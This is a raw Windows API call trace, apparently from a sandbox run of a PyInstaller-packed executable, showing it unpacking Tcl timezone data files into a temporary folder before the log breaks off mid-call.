[0042.953] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.953] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.953] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.953] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.953] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.953] CloseHandle (hObject=0x10c) returned 1 [0042.953] GetLastError () returned 0x0 [0042.953] SetLastError (dwErrCode=0x0) [0042.953] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian\\Comoro") returned 70 [0042.953] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian\\Comoro" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\indian\\comoro"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.954] GetLastError () returned 0x2 [0042.954] SetLastError (dwErrCode=0x2) [0042.954] GetLastError () returned 0x2 [0042.954] SetLastError (dwErrCode=0x2) [0042.954] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian\\Comoro", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian\\Comoro", lpFilePart=0x0) returned 0x45 [0042.954] GetLastError () returned 0x2 [0042.954] SetLastError (dwErrCode=0x2) [0042.954] GetLastError () returned 0x2 [0042.954] SetLastError (dwErrCode=0x2) [0042.954] GetLastError () returned 0x2 [0042.954] SetLastError (dwErrCode=0x2) [0042.954] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian\\Comoro") returned 70 [0042.954] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.954] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian\\Comoro" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\indian\\comoro"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.956] GetFileType (hFile=0x10c) returned 0x1 [0042.956] htonl (hostlong=0x91000000) returned 0x91 [0042.956] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.956] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x91, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x91, lpOverlapped=0x0) returned 1 [0042.957] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.957] CloseHandle (hObject=0x10c) returned 1 [0042.957] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.957] htonl (hostlong=0x30000000) returned 0x30 [0042.957] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.957] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.957] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.957] GetFileType (hFile=0x10c) returned 0x1 [0042.957] htonl (hostlong=0x34d85c00) returned 0x5cd834 [0042.957] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x618834, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.957] htonl (hostlong=0x87000000) returned 0x87 [0042.957] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x87) returned 0x55cfe0 [0042.957] htonl (hostlong=0x87000000) returned 0x87 [0042.957] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.957] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.957] htonl (hostlong=0x8f000000) returned 0x8f [0042.957] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8f) returned 0x550600 [0042.957] htonl (hostlong=0x87000000) returned 0x87 [0042.957] htonl (hostlong=0x8f000000) returned 0x8f [0042.957] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0042.957] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.957] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0042.957] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.957] CloseHandle (hObject=0x10c) returned 1 [0042.958] GetLastError () returned 0x0 [0042.958] SetLastError (dwErrCode=0x0) [0042.958] GetLastError () returned 0x0 [0042.958] SetLastError (dwErrCode=0x0) [0042.958] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.958] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.958] GetFileType (hFile=0x10c) returned 0x1 [0042.958] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.958] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.958] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.958] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.958] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.958] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.958] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.958] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.958] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.958] CloseHandle (hObject=0x10c) returned 1 [0042.958] GetLastError () returned 0x0 [0042.958] SetLastError (dwErrCode=0x0) [0042.958] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.958] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.958] GetFileType (hFile=0x10c) returned 0x1 [0042.958] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.958] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.958] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.959] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.959] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.959] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.959] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.959] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.959] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.959] CloseHandle (hObject=0x10c) returned 1 [0042.959] GetLastError () returned 0x0 [0042.959] SetLastError (dwErrCode=0x0) [0042.959] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian") returned 63 [0042.959] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\indian"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.959] GetFileType (hFile=0x10c) returned 0x1 [0042.959] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.959] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.959] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.959] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.959] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.959] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.959] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.959] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.959] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.959] CloseHandle (hObject=0x10c) returned 1 [0042.959] GetLastError () returned 0x0 [0042.959] SetLastError (dwErrCode=0x0) [0042.959] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian\\Kerguelen") returned 73 [0042.959] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian\\Kerguelen" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\indian\\kerguelen"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.960] GetLastError () returned 0x2 [0042.960] SetLastError (dwErrCode=0x2) [0042.960] GetLastError () returned 0x2 [0042.960] SetLastError (dwErrCode=0x2) [0042.960] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian\\Kerguelen", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian\\Kerguelen", lpFilePart=0x0) returned 0x48 [0042.960] GetLastError () returned 0x2 [0042.960] SetLastError (dwErrCode=0x2) [0042.960] GetLastError () returned 0x2 [0042.960] SetLastError (dwErrCode=0x2) [0042.960] GetLastError () returned 0x2 [0042.960] SetLastError (dwErrCode=0x2) [0042.960] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian\\Kerguelen") returned 73 [0042.960] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.960] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian\\Kerguelen" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\indian\\kerguelen"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.962] GetFileType (hFile=0x10c) returned 0x1 [0042.962] htonl (hostlong=0x8f000000) returned 0x8f [0042.962] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.963] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x8f, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x8f, lpOverlapped=0x0) returned 1 [0042.963] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.963] CloseHandle (hObject=0x10c) returned 1 [0042.963] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.964] htonl (hostlong=0x30000000) returned 0x30 [0042.964] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.964] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.964] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.964] GetFileType (hFile=0x10c) returned 0x1 [0042.964] htonl (hostlong=0xbbd85c00) returned 0x5cd8bb [0042.964] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x6188bb, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.964] htonl (hostlong=0x86000000) returned 0x86 [0042.964] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x86) returned 0x55cfe0 [0042.964] htonl (hostlong=0x86000000) returned 0x86 [0042.964] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.964] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.964] htonl (hostlong=0x8f000000) returned 0x8f [0042.964] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8f) returned 0x550600 [0042.964] htonl (hostlong=0x86000000) returned 0x86 [0042.964] htonl (hostlong=0x8f000000) returned 0x8f [0042.964] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0042.964] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.964] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0042.964] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.964] CloseHandle (hObject=0x10c) returned 1 [0042.964] GetLastError () returned 0x0 [0042.964] SetLastError (dwErrCode=0x0) [0042.964] GetLastError () returned 0x0 [0042.964] SetLastError (dwErrCode=0x0) [0042.964] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.965] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.965] GetFileType (hFile=0x10c) returned 0x1 [0042.965] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.965] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.965] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.965] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.965] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.965] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.965] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.965] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.965] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.965] CloseHandle (hObject=0x10c) returned 1 [0042.965] GetLastError () returned 0x0 [0042.965] SetLastError (dwErrCode=0x0) [0042.965] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.965] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.965] GetFileType (hFile=0x10c) returned 0x1 [0042.965] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.965] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.965] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.965] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.965] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.965] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.965] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.966] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.966] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.966] CloseHandle (hObject=0x10c) returned 1 [0042.966] GetLastError () returned 0x0 [0042.966] SetLastError (dwErrCode=0x0) [0042.966] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian") returned 63 [0042.966] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\indian"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.966] GetFileType (hFile=0x10c) returned 0x1 [0042.966] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.966] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.966] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.966] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.966] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.966] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.966] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.966] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.966] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.966] CloseHandle (hObject=0x10c) returned 1 [0042.966] GetLastError () returned 0x0 [0042.966] SetLastError (dwErrCode=0x0) [0042.966] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian\\Mahe") returned 68 [0042.966] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian\\Mahe" (normalized: 